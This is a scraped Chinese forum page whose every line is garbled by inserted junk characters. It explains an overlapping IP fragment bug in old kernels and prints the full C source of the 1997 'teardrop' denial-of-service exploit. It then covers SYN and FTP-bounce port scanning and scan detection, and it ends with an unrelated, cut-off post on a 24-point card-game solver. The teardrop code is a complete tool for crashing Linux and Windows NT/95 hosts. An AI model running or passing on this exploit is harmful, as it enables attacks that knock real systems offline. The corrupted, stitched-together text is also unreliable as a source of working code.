9 E% ?; q+ Y/ c9 M1 N' K8 ]3 Vi = prev-&gt;end - offset;& ]9 @. }2 ^$ O" _
offset += i; /* ptr into datagram */6 S7 P7 B! Y: }" k1 l) U& B
ptr += i; /* ptr into fragment data */% k7 G# @' z0 {* e+ d! n$ }1 `
}</P><P>/* Fill in the structure. */
; a& j3 Z$ Z" _! e  j5 \fp-&gt;offset = offset;# w+ [3 g# o! F
fp-&gt;end = end;& N' W2 Y% R' D* n( f
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
/ |+ E4 ~  L& R第一个碎片:mf=1 offset=0 payload=20# `& x% E% D+ ^  R
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
0 u, H8 x0 ?$ _, b, g- H: ^offset=0+ p3 [$ O1 t$ O' Y: ^9 ]
这样第二个碎片的 end=9+10=19
( q( t# e) x0 m1 c& Coffset=offset+(20-offset)=202 I# a: _. _2 ?3 n0 y  t3 G- _
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
4 T* M' h1 H6 q: f+ X' i5 w5 Q  ]/*' e9 Q6 h2 {  j: a: k6 |6 x0 P
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97/ s3 T' P' g" k% D9 C8 b0 G
*% R% h# u) |7 L2 o
* Linux/NT/95 Overlap frag bug exploit4 B9 h& g* S4 n9 k
*
5 X  Y( R5 _7 Q* Exploits the overlapping IP fragment bug present in all Linux kernels and
* `0 f6 c! m& W0 m& ?4 W( e* NT 4.0 / Windows 95 (others?)
( w1 G9 P! v, N! W0 l( S3 q*4 [% q2 {9 ~1 Q+ T* M" W
* Based off of: flip.c by klepto
6 t$ v/ R# ^! w- _, ]* Compiles on: Linux, *BSD*7 O% e( x7 S: [6 s4 M7 A& K
*- s6 S! Q4 g3 @0 a% s, s/ w+ c
* gcc -O2 teardrop.c -o teardrop% l' |4 H. V( t: s
* OR' A4 i( Q5 M. H" _
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING; I% }  M7 L1 L0 S- o/ K5 s/ @
*/</P><P>#include <STDIO.H>8 d  G2 K) P- ]( D, N: \9 b- [
#include <STDLIB.H>8 Q, k' j% p  g. W2 [
#include <UNISTD.H>  c( R; [; H! V0 r; a! V
#include <STRING.H>
+ t5 K# t  V9 F) s' k0 \#include <NETDB.H>, x& {; W0 n: V/ \, F. M) @
#include <NETINET in.h>9 d2 y" b# v0 b- {
#include <NETINET udp.h>9 {6 @& y/ ^- y) P- \. O
#include <ARPA inet.h>
( W, P$ B' e, M2 I#include <SYS types.h>
, E( b5 L( h4 r- T2 |  y#include <SYS time.h>
, g9 h+ Z. O7 q0 V( o3 u3 T#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING4 k. ~; D6 E- f+ ^' H
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */5 `# b/ _8 a5 m! R
#define FIX(n) (n); c$ |5 s6 n$ E! k. [5 L4 d
#else /* OpenBSD 2.1, all Linux */
7 M# ?1 ^7 p$ F% ]8 ^#define FIX(n) htons(n)0 P- }9 W) I; V6 b  S2 {2 W  s
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */* `! C8 L- y. r3 U: l! P3 B7 B/ W5 f
#define IPH 0x14 /* IP header size */' ?: L+ {+ i) X* Z2 k
#define UDPH 0x8 /* UDP header size */. M0 {, g+ c4 `$ z; x0 n# n; v
#define PADDING 0x1c /* datagram frame padding for first packet */5 N& o' Z0 u- Y
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
- N! W0 ^) A7 W3 G) k#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can% d; p4 h  s  ?" |% f1 S/ K8 k
* withstand maybe 5 or 10 sometimes... Experiment.2 G. }. u: F* s/ _& b1 A7 ~0 _
*/</P><P>void usage(u_char *);
9 H/ i% }+ p! a9 m! B# Wu_long name_resolve(u_char *);; A- \# N0 H/ i$ ^; ^
u_short in_cksum(u_short *, int);% d& W1 J( w# Z% X
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
$ H/ g8 J* K. v8 h: m{$ [+ \* p7 a8 m5 I. q
int one = 1,
  i0 K! `+ q- u/ a2 f8 lcount = 0,
3 e7 F2 c- ?: p  x7 gi,
- [' A- S6 R2 w9 t1 d# j8 |rip_sock;
/ z' @! B. B" g5 s% m8 E' y4 Ru_long src_ip = 0, dst_ip = 0;; y0 i1 J# U/ G7 q) [2 C1 z
u_short src_prt = 0, dst_prt = 0;
( e7 D& I6 I7 \2 D% C  y: z4 }# Astruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW3 h7 ?" N3 z7 m1 H: m
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)1 P( r" |% s% p% T0 ~3 Z. Z, D& Q
{0 |  c  ?4 ?  v( B+ N# J- j9 ~( w
perror("raw socket");
9 Z4 K; v4 p4 d0 r! Pexit(1);6 A& L0 r% C- i# J% |* E
}/ Z) S' D2 x5 s4 Z
//由系统处理IP校验和。
* C4 G! |' d  J' qif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))' F  D% m3 ]0 @% @& r- F
&lt; 0), Y' L2 L8 _* e9 H4 J" b
{/ |8 v6 `9 [6 l$ i9 \- d: O: \
perror("IP_HDRINCL");* r) ^% P/ V/ \  ]- u1 X& C+ }
exit(1);3 h6 w- X2 ~: a& k$ L5 _0 b
}</P><P>if (argc &lt; 3) usage(argv[0]);
- W2 }3 r* e' @8 r  c" v; h1 ~if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))6 H# p% @! m- [9 L
{
: i+ E- H8 B% o) L- Bfprintf(stderr, "What the hell kind of IP address is that?\n");
, l3 M- v% P2 Y8 v0 c$ ?+ O5 C3 Fexit(1);
* p) e" k5 N, H4 B3 V}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
6 D% T) @! Q3 a8 O6 ]) l! p{
  `. Y. x2 W5 s  T* S2 Qswitch (i)/ I# _' V7 y( ^1 [) w
{. q+ k' f  y- C; z1 L- g2 j
case 's': /* source port (should be emphemeral) */
" L; T8 z) L3 T) j) s3 b2 ksrc_prt = (u_short)atoi(optarg);" O: S! [: S, S9 Q! G
break;
/ P, ^" B" l. c. R% m5 }+ s$ @+ Xcase 't': /* dest port (DNS, anyone?) */% ]& i2 c( X% S( Y+ \& G
dst_prt = (u_short)atoi(optarg);
4 k: d& B; y1 `% C( ybreak;2 C1 j. _9 }4 Y- ?; Y$ s* Y# X/ i
case 'n': /* number to send */
" W1 W$ z3 H/ W3 w  Mcount = atoi(optarg);
3 S1 H4 I* g! \  X5 lbreak;, C# I5 `4 h& M+ F
default :( i& F; u; o2 ^
usage(argv[0]);; e8 D9 Z2 `; z
break; /* NOTREACHED */8 m7 p/ Q8 d* u2 F8 Q# f
}$ X0 k: }( p: m: z( y
}</P><P>srandom((unsigned)(time((time_t)0)));
; w& I+ Z. n) }; b2 V5 [, d" i4 Xif (!src_prt) src_prt = (random() % 0xffff);
: K7 K$ H% y( O1 bif (!dst_prt) dst_prt = (random() % 0xffff);
& z! c' ?9 \4 G% xif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");# X4 j1 K; W1 r+ m$ _' O
addr.s_addr = src_ip;
8 Z2 ~1 N4 n. r; {, ?1 gfprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
% G1 J; ?) p& M. L+ I; xaddr.s_addr = dst_ip;
/ }9 M! U% G5 I6 y/ k' F- kfprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);( i$ U3 t- t$ ~
fprintf(stderr, " Amt: %5d\n", count);
4 V' K; q5 z8 U! t3 z6 P  Hfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)+ {- Z5 W# z' ^' Z/ D* I( T  a
{
  N) u2 Y9 |3 K. t7 D: `! s+ ~send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
5 K" y2 g* u' ~- [3 V! c2 xfprintf(stderr, "b00m ");
% b* a" p7 V+ O% x; G8 H4 V& D- gusleep(500);
. k, L! w) Y9 q4 ~! ?( ?}2 D) \1 t/ o1 |! R% }/ N
fprintf(stderr, "]\n");
) c. A9 O* m: I  r8 {return (0);
7 a9 `" [3 M* [1 w}</P><P>/*
3 L& n1 E& n1 {" @" _" u( P% y6 c* Send two IP fragments with pathological offsets. We use an implementation7 J6 s6 D/ e" B4 h
* independent way of assembling network packets that does not rely on any of
/ k' ]/ x; D, K0 D! A* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).. P, g# _5 _% K+ S
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,8 f- _" L4 |# z3 n/ N9 m
u_short dst_prt)
( p2 i7 N* Y% u4 D) ^0 j4 h{! u# i# W4 U  l" b$ I4 z
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
0 |" M) y5 h% n3 x+ k/ G# \4 Ou_char byte; /* a byte */! R5 T7 r# ^' ^) p
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
( m/ |" W# k6 u6 Bsin.sin_port = src_prt;2 M3 E8 _% d+ F% k8 q
sin.sin_addr.s_addr = dst_ip;</P><P>/*& G  b- v& x, c/ z" r: ~
* Grab some memory for our packet, align p_ptr to point at the beginning
8 [* D) N& H: j% a9 k* of our packet, and then fill it with zeros.' S3 {  S- G  u* |+ g+ d! }. G
*/0 z1 D  F, o0 t8 Z9 j! }7 @
packet = (u_char *)malloc(IPH + UDPH + PADDING);
+ s; y$ F9 b0 np_ptr = packet;9 k: U& a- O& A. G5 Q
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */5 ^. ~. c% s. y
memcpy(p_ptr, &amp;byte, sizeof(u_char));
0 J9 F! X: W& e/ ~% p8 gp_ptr += 2; /* IP TOS (skipped) */: s  J( k9 G6 q" i
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
* y2 P" |) a8 H5 e% f& D- Z9 Rp_ptr += 2;& g& q$ k3 A6 {3 o
*((u_short *)p_ptr) = htons(242); /* IP id */8 Q6 z: }/ E3 X  c
p_ptr += 2;! Z: {+ w9 d  e: {
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */' g6 K- z" {) x8 R
p_ptr += 2;
0 g. y/ d( G, H( j8 y5 |*((u_short *)p_ptr) = 0x40; /* IP TTL */
- d. L: J5 G) J+ S( ubyte = IPPROTO_UDP;
; H! ^, B4 K& p/ R8 E1 Xmemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
% ~# e' d6 |2 Rp_ptr += 4; /* IP checksum filled in by kernel */
9 D7 ]4 O* t: z$ W5 a; d*((u_long *)p_ptr) = src_ip; /* IP source address */1 b- d3 c3 ?* k
p_ptr += 4;4 o1 X* q) g( i# ^! f1 v7 O5 c7 a
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
# R' O6 A, B) lp_ptr += 4;
6 U* d7 I% E( F, H! h*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
0 j8 ]/ ~: r& Ip_ptr += 2;! F" W/ E' |' v
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */6 V& T0 H; V, k
p_ptr += 2;8 {1 }) H) L8 h2 ]" `
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,2 L/ O: N3 q6 ~/ Y
sizeof(struct sockaddr)) == -1). W# I' R  q0 [) V' Q* g
{
8 g3 s- ]/ f6 b2 F% Z/ z0 Fperror("\nsendto");$ s- S; x# R! x$ J7 D
free(packet);, w+ U, g) u- `& j
exit(1);
' x5 \9 N9 F! X. f5 n1 \}</P><P>/* We set the fragment offset to be inside of the previous packet's# z- _* C% F: P
* payload (it overlaps inside the previous packet) but do not include6 j7 e3 F% B4 f) i% D. l6 n/ K
* enough payload to cover complete the datagram. Just the header will
, D' y8 R: f0 x0 u. U* do, but to crash NT/95 machines, a bit larger of packet seems to work
: n+ l, n" t/ @* better.
) G' U  A* T; A* e*/( _% _# ~# C6 n
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */" _1 y3 }# [2 \8 F3 X9 U3 F( O
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);, F+ x4 `. v8 r, ^& C
p_ptr += 4; /* IP offset is 6 bytes into the header */
- T: @$ D( `6 B: ?" W*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
% q# D+ z' p4 N% ssizeof(struct sockaddr)) == -1)- v0 v( x  F) l
{
, O2 @& d  f) N6 k4 x5 b1 F1 Lperror("\nsendto");
* D: I* A8 a9 F- W' K3 kfree(packet);9 c' G4 y- F# p7 f% G% {& B
exit(1);
) t* x" \* B) T4 j}
) i: v1 y  @* c$ j2 c, \" S  |free(packet);; L7 F7 e9 f8 T6 [
}</P><P>u_long name_resolve(u_char *host_name)/ V# G% S! n- ^" a
{' F7 m% Q9 R4 B$ c3 w$ }9 E. F
struct in_addr addr;
/ @2 o; a6 z# q5 O" T6 _5 E9 kstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
2 r+ k6 h) I( }/ f{2 ?3 u& }+ Z& b1 B
if (!(host_ent = gethostbyname(host_name))) return (0);, X: d  m+ Q) q% x2 B& u' B2 c( p
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
* ~' |# k, ?9 d}
8 F- k9 v( j; Q8 Q$ j! hreturn (addr.s_addr);) {( z5 h- o) J* M# k5 c2 m
}</P><P>void usage(u_char *name)) I2 I) B3 E1 w) Y
{
' F8 [1 `. X, C8 P# i& Gfprintf(stderr,
9 L  \. y6 ^0 T1 |0 m1 Q. g"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
0 W3 j5 d, V9 Aname);" g( l. ?+ C0 R
exit(0);
0 q6 a3 Q: u4 Q; x' K9 V# n% g4 k}</P><P>
- x- M4 W8 `% \' i1 y/ `4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
; }9 G3 g1 s; W% J(1) Half-open(半打开)
* z" }- r* n) n利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),# b3 M$ s8 a, E% P
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
5 \( F  \) x9 x9 i: ^9 y7 F利用了FTP的port命令,例如可以这样作:
: H8 h) v0 _, Y/ A/ T选择一个FTP服务器,连上后令port命令指向目标机,如果返回
  T* r2 K( w8 X2 F4 y7 [9 k值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则# L' b; S! L1 ]0 Q* r
该端口无服务。
. G+ D# U: e3 }: }1 p! k7 N! ftelnet 192.168.1.13 211 V3 Q# x1 E$ \  m' ~+ e$ C
Trying 192.168.1.13...1 ?' ~) u( V. }* V
Connected to pp.bricks.org.
3 M3 R3 `" G9 ]Escape character is '^]'.
" j/ \% ~9 e( @. S8 t. T% y220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
3 l, R. x- @0 U1 B$ B& n8 m6 z8 RThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
# D  [0 ]. k2 S# o* P331 Guest login ok, send your complete e-mail address as password.( \" L1 U% t$ Z# \$ r
pass aa@aa.aa- n; X5 r- L2 z" ]4 H9 x
230 Guest login ok, access restrictions apply.3 e; a+ |* H6 C7 F) ~! [
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
3 b1 t' B6 \; [* U( M425 Can't build data connection: Connection refused.
- [2 M) B: s% o+ m' b//该端口未活动 ( \: R- a' {& ^/ `# I( b5 v1 h
150 Opening ASCII mode data connection for file list.
! I6 b8 ?7 Z2 x1 a: g6 Z226 Transfer complete.
6 V( E! m$ I1 n- @' x0 Z7 w3 p+ @7 y//该端口活动中
, D2 G" q$ m2 j8 A但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing$ ]$ ^& {2 S" @4 Y; L
SYN|FIN ACK or SYN|ACK* RST
% j; ~! s& E0 \3 v# t6 L, ZACK Nothing RST! c$ s: V0 f5 J. Y6 Q& `) D
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport0 W& \* \- @. C3 }3 a! _
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,6 e! S; w  `$ s/ L0 ~$ U
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
; c6 p  {# _: i3 J# J9 [, g- Z/ }定它在向你做portscan。</P><P>notes:
  x) A1 H4 ~: G早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
/ V- t! E$ c: t; I- d/ L+ ^而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
5 b- z) g2 G  E1 X都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>( V3 c7 [) i! A+ g3 ]( }. J9 q
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。/ f" x1 ]* w  E

  G- G/ Z& Z5 P$ R  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
6 k, u$ i$ i  Q: [) ]- E; o' u* Y5 r+ u* |首先穷举的可行性问题。我把表达式如下分成三类——
3 b, G1 K) O$ L- C% ]5 t<FONT color=#ff0000>1、 无括号的简单表达式。
  W9 f0 Y4 ~$ V  c) c9 F, X% R2、 有一个括号的简单表达式。4 S8 f# E7 y; L1 y* S: s
3、 有两个括号的较复4、 杂表达式。$ V( Y- p# r2 J" y: O  F
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
; f$ O6 c. A6 x<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
8 z$ `7 i5 J. h' w/* c[] 存放四张牌的数组 */" f6 e# i: F6 i; G4 H: a" u2 s
/* k[] c[]种四张牌的代号,其中k[I]=I+1。
9 A# o4 `6 a( C* ?用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
) ^. O" ^. i' ^# |3 n/* kans[] 暂存生成的排列组合 */
" E6 H" r* c& E' l0 i& H3 o) ^/* j 嵌套循环的次数 */
, W5 b( e6 G7 [5 u" k7 d: _int fans(c,k,ans,kans,j)+ B( m8 a, n* f. R7 J+ Y
int j,k[],c[];char ans[],kans[];2 P4 H, N' E- Q# R3 n
{ int i,p,q,r,h,flag,s[4],t[4][4];- N7 t+ R8 U8 j! J9 F
for(p=0,q=0;p&lt;4;p++)
% `3 e- i8 k0 L0 b# r* ?/ p! q{ for(r=0,flag=0;r<J;R++)
, _' }0 Q. ]0 v if(k[p]!=kans[r]) flag++;
' x3 r* K1 j  @6 ^* B/ r) T( hif(flag==j) t[j][q++]=k[p];
  j9 X. R& a1 X) h6 l4 t8 Z}: P% M' |6 d9 ?
for(s[j]=0;s[j]&lt;4-j;s[j]++)" n) M+ [# W, ?# ?% }
{ kans[j]=t[j][s[j]];
/ B8 i7 q: Z4 \" v# X$ xif(j==3) { for(h=0;h&lt;4;h++)
- l6 ]# q1 Q6 z$ y2 \ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
0 Q. d6 Q) Q" ]) I! U5 |& [2 k$ H达式中的位置 */5 w) _) J& `7 J9 b# J$ Z2 _9 Z
for(h=0;h&lt;3;h++)/ j- Y% S  |2 e
symbol(ans,h); /* 在表达式中添加运算符号 */
; l( @8 f) @+ u}
! v: l3 h% _8 j. x- Q. kelse { j++;
5 {( Q/ ]0 ]0 b4 Lfans(c,k,ans,kans,j);, h3 `$ }% z5 {( h7 @" y/ N
j--;3 t. v" K. z  `* b' J+ H
}; S- G) f3 Z% O4 r
}: Q2 K$ T4 E* |9 b: r0 \
}</FONT>" v) q0 I3 `$ E" I" f6 h! M
' m# @; V# K/ L% i
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
/ A0 i& C, P. y
( ^7 @: D6 g( U7 o7 J5 @+ U<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
/ h& k3 ~1 I/ J7 z4 z. I/ M3 c4 Hint sans(ans,sy,j,h)
: o9 W# r/ E/ C0 e. wchar ans[],sy[];int j,h;( U7 N- `) O2 U9 t1 H/ i, b6 a
{ int i,p,k[3],m,n; char ktans[20];' B5 v2 S+ b! G' `2 V
for(k[j]=0;k[j]&lt;4;k[j]++)7 R3 n/ I1 v. K! b# u6 v2 g( Y
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
+ {, N4 I  L( U' e! a0 @这里的三个运算符号分别存放在1、3、5位*/
0 B5 {4 ^' O1 d& z* uif(j==2)
6 R3 }& G8 B0 O- Q( Q0 g# Q{ ans[5]=sy[k[j]];8 h7 U9 _, H4 l9 Y' ~
/* 此处根据不同的表达式形式再进行相应的处理 */
  |1 E1 t; X) v6 @5 e+ l}5 R! Z0 D; y  w4 Q. p
else { j++; sans(ans,sy,j--,h); }
1 r% u# y" v7 n, a: s$ x: T}  F' K1 Q  B) y6 {
}' L) W" q0 X  K, Z! U, K

0 G% q8 u3 p" \5 x2 j9 B" }9 H</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
% {6 @6 A* q* H+ _: Qfor(m=0;m&lt;=4;m+=2)
- i. o  @5 _  t5 }9 R6 H  ~for(n=m+4;n&lt;=8;n+=2)7 P9 R( g7 _9 J& X' H- N
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。. Y, W& H7 N4 \, B# D

- ~4 c% ^2 O, Y1 Y$ O2 N! {  G  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
( e$ _4 z6 u+ b5 Y& l8 e* f. B</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。& @1 w/ I8 [0 Q( p4 I$ O$ k/ _
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
* c* m  T" p; s# x; p3 ?
. C/ q1 q0 L3 k, \  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
# x" ]8 Q2 D  _7 n9 B* p6 r
+ S; @# E4 G8 @: O$ S  那么作为栈的著名应用,表达式的计算可以有两种方法。7 P+ T% v) A3 x# M- v

$ ?" p# \# E" I0 e7 y  <FONT color=#ff0000>第一种方法——</FONT>
+ E2 n6 F$ L4 L& L) L, V  T& i. v& d+ c  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
  Y, c. h" R" w8 Q3 k, S  h  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:. M$ U4 c' t7 h  V4 z8 X
1、 若W为操作数7 D& Y, p; f% t: D
2、 则将W压入操作数栈OVS6 T* N4 V8 P9 p3 N1 M: _
3、 且继续扫描下一个字符
# s% {! ]2 h" H6 P! g3 A4 v% G4、 若W为运算符, u! H4 j9 _( Y( l$ n
5、 则根据运算符的性质做相应的处理:* i) V6 R4 _# R# d. `7 R
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。0 N, c8 i8 c) j
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
4 _5 B0 R9 S  Y, p6 G8 n(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
0 A! y* Q. j8 ^; g7 ^; w(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
2 {% b# c6 \2 m' W" g9 X8 r4 P! b+ J& B# z- N4 d) {
<FONT color=#ff0000>  第二种方法——</FONT>
7 f+ R" i! \. `  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
2 b& E( j9 n2 A6 b5 y) w8 ^! I* u% t+ _/ A9 a* w
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
& X8 M' R" I& f; T; X! ?* ~0 E) D- s
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
# O+ D: Q$ `) l7 U( B表达式 波兰表达式
+ w$ L1 x" I: E9 B  k) y" g2 `A-B AB-: _% u: [2 y; P( j7 o
(A-B)*C+D AB-C*D+* y3 n4 W7 B9 [) w9 R, A  A5 N% m
A*(B+C/D)-E*F ABCD/+*EF*-
# T8 G# i9 ~- u(B+C)/(A-D) BC+AD-/
# a: b) O% c6 i6 y: B( N" {3 ^. {% {* W6 f2 C! m; I5 p
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。! u8 K3 N% k: f* i4 w

/ V* ]' m$ Z5 {) }1 g  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
7 N0 q' H) a0 z
( b9 ]% G4 n, B& g2 m  下面给出转换和计算的具体实现程序——2 u# m/ L) `) g6 Y# B
* l: h# i+ V: @# T' w
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
8 R* ~. P( v' Y5 Qint first(char c)% u, X7 O: n% N9 W' \
{ int p;) ^9 D8 Y, J- s) L
switch(c)
, n: d4 D- e  V{ case '*': p=2; break;
. ^1 k7 ]. e3 o% C* t9 S# _$ h$ bcase '/': p=2; break;+ H$ T4 @( I4 v6 t
case '+': p=1; break;
- C/ ?- S! b+ Fcase '-': p=1; break;
5 P) u  n; k4 _case '(': p=0; break;. p/ f; V) P0 ]  m
case '=': p=-1; break;
0 X( H! c9 _* v/ {}
# e# [, u) O3 K& yreturn(p);
